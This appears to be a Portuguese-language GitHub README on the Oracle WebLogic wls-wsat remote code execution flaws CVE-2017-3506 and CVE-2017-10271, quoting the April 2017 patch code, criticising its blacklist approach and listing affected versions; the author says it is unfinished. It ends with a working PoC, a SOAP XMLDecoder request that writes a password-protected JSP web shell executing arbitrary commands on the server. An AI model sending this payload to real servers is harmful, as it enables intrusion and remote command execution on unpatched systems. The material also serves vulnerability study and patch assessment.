peterpeter228/oracle-weblogic-cve-2017-10271WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
No início, hackers exploraram vulnerabilidades no componente WLS do WebLogic para realizar ataques remotos em larga escala contra servidores corporativos. Um grande número de servidores de empresas foi comprometido, e o número de organizações atacadas apresentou uma tendência de aumento significativo, exigindo atenção redobrada. Entre elas, CVE-2017-3506 é uma vulnerabilidade de execução remota de código que explora o componente WLS do Oracle WebLogic, sendo uma vulnerabilidade não divulgada publicamente explorada em campo. Muitas empresas ainda não instalaram o patch a tempo. A Oracle lançou o patch para essa vulnerabilidade em abril de 2017.
Nota do patch CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Foi adicionada apenas uma função validate antes da desserialização: se qName for igual a "object", lança uma exceção e interrompe. Simples e direta, mas esse tipo de correção baseada em lista negra é difícil de ser completamente eficaz. Vale a pena refletir...
O método de exploração dessa vulnerabilidade é relativamente simples; o invasor só precisa enviar uma solicitação HTTP cuidadosamente construída para obter privilégios no servidor alvo, com consequências graves. Como a vulnerabilidade é recente, ainda existem muitos servidores que não foram atualizados com o patch. É provável que, após este incidente repentino, o número de ataques aumente drasticamente e muitos novos servidores sejam comprometidos.
O patch de abril da Oracle para CVE-2017-3506 não corrigiu completamente a vulnerabilidade, sendo possível contorná-lo e ainda executar comandos remotos. A vulnerabilidade CVE-2017-10271, que contorna o patch, foi corrigida na atualização de outubro divulgada pela Oracle.
CVE-2017-3506 (Vulnerabilidade de execução remota de comandos no wls-wsat) CVE-2017-10271 (Vulnerabilidade de bypass de execução remota de comandos no wls-wsat)
Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0
PoC:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
Não terminei de escrever, tive que sair...